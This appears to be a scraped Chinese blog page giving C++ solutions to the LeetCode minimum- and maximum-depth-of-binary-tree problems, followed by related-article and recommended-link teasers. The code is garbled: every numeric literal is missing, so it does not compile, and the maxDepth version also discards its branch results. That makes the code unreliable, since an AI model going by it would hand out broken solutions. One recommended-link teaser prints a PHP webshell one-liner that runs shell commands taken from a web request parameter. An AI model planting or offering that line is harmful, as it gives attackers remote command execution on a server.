minimum-depth-of-binary-tree (搜索)
题意:输出一个二叉树的最小深度。
思路:搜索一下就行了。
注意:搜索的时候,是比较每个子树的左右子树的大小,每个子树的深度要加上根节点!
class Solution {
public:
int run(TreeNode *root) {
if (root == NULL) return ; //空树
if (root->left == NULL) return run(root->right) + ;
if (root->right == NULL) return run(root->left) + ;
int left = run(root->left);
int right = run(root->right);
return (left < right) ? (left+) : (right+);
}
};
兄弟题
maximum-depth-of-binary-tree
题意:输出最大的二叉树的深度
class Solution {
public:
int maxDepth(TreeNode *root) {
if (root == NULL)return ;
if (root->left == NULL) maxDepth(root->right) + ;
if (root->right == NULL)maxDepth(root->left) + ;
int left = maxDepth(root->left) + ;
int right = maxDepth(root->right) + ;
return left > right ? left : right;
}
};
minimum-depth-of-binary-tree (搜索)的更多相关文章
- 【LeetCode】Minimum Depth of Binary Tree 二叉树的最小深度 java
[LeetCode]Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum dept ...
- [LeetCode] 111. Minimum Depth of Binary Tree ☆(二叉树的最小深度)
[Leetcode] Maximum and Minimum Depth of Binary Tree 二叉树的最小最大深度 (最小有3种解法) 描述 解析 递归深度优先搜索 当求最大深度时,我们只要 ...
- [Leetcode][JAVA] Minimum Depth of Binary Tree && Balanced Binary Tree && Maximum Depth of Binary Tree
Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum depth is the n ...
- LeetCode:Minimum Depth of Binary Tree,Maximum Depth of Binary Tree
LeetCode:Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum depth ...
- 33. Minimum Depth of Binary Tree && Balanced Binary Tree && Maximum Depth of Binary Tree
Minimum Depth of Binary Tree OJ: https://oj.leetcode.com/problems/minimum-depth-of-binary-tree/ Give ...
- 【LeetCode练习题】Minimum Depth of Binary Tree
Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum depth is the n ...
- LeetCode My Solution: Minimum Depth of Binary Tree
Minimum Depth of Binary Tree Total Accepted: 24760 Total Submissions: 83665My Submissions Given a bi ...
- LeetCode: Minimum Depth of Binary Tree 解题报告
Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum depth is the n ...
- 【LeetCode】111. Minimum Depth of Binary Tree (2 solutions)
Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum depth is the n ...
- LeetCode OJ Minimum Depth of Binary Tree 递归求解
题目URL:https://leetcode.com/problems/minimum-depth-of-binary-tree/ 111. Minimum Depth of Binary T ...
随机推荐
- 几种好用的经典webshell(php)
php经典一句话: <?php echo shell_exec($_GET['cmd']);?> 中国菜刀:官网:www.maicaidao.co原理:上传一句话(<?php @ev ...
- S5PV210 串口实验(中断方式)
结合之前的串口实验(轮询方式)与中断体系分析,我们来做下中断方式的串口接收实验. start.S .global _start .global IRQ_handle _start: /* 关 Watc ...
- C++的静态联编和动态联编
联编的概念 联编是指一个计算机程序自身彼此关联的过程,在这个联编过程中,需要确定程序中的操作调用(函数调用)与执行该操作(函数)的代码段之间的映射关系. 意思就是这个函数的实现有多种,联编就是把调用和 ...
- Apollo 2 如何支持 @Value 注解自动更新
前言 Apollo 在 v0.10.0 版本后,支持自动更新.v0.10.0之前的版本在配置变化后不会重新注入,需要重启才会更新. 也就是说,如果一个属性加入了 @Value 注解,并且这个配置在配置 ...
- 【esayui】扩展验证方法,控件验证
基础验证 //页面调用方法$.extend($.fn.validatebox.defaults.rules, { 验证电话 IsPhoneRex: {validator: function (valu ...
- Git 实战手册(一): 批量修改log中的提交信息
本文须知 教程所示图片使用的是 github 仓库图片,网速过慢的朋友请移步原文地址 有空就来看看个人技术小站, 我一直都在 背景介绍 事情的起源是这样的:迷恋的谷歌的我最近申请了一个新的 googl ...
- cf1130E. Wrong Answer(构造)
题意 题目链接 Sol 对构造一无所知... 题解的方法比较神仙,,设第一个位置为\(-1\),\(S = \sum_{i=1}^n a_i\) 那么我们要让\(N * S - (N - 1) * ( ...
- 七牛云java(服务端)通用工具类
前言 需要安装lombok插件. 功能列表 上传本地文件 上传Base64图片 获取文件访问地址 上传MultipartFile 代码 pom.xml <dependency> <g ...
- python之 协程
协程: 协程是一种用户态的轻量级线程, 即协程是由用户程序自己控制调度的 1.Greenlet import time # import greenlet from greenlet import g ...
- ionic 一些常见问题和命令
最近项目需要用到ionic就马上去撸,但是做下来发现官方文档的native插件,按照文档来做也遇到很多坑或者暂时想不出办法实现的. ionic这种属于跨平台的开发,是适用于比较常见通用的平台,安卓机, ...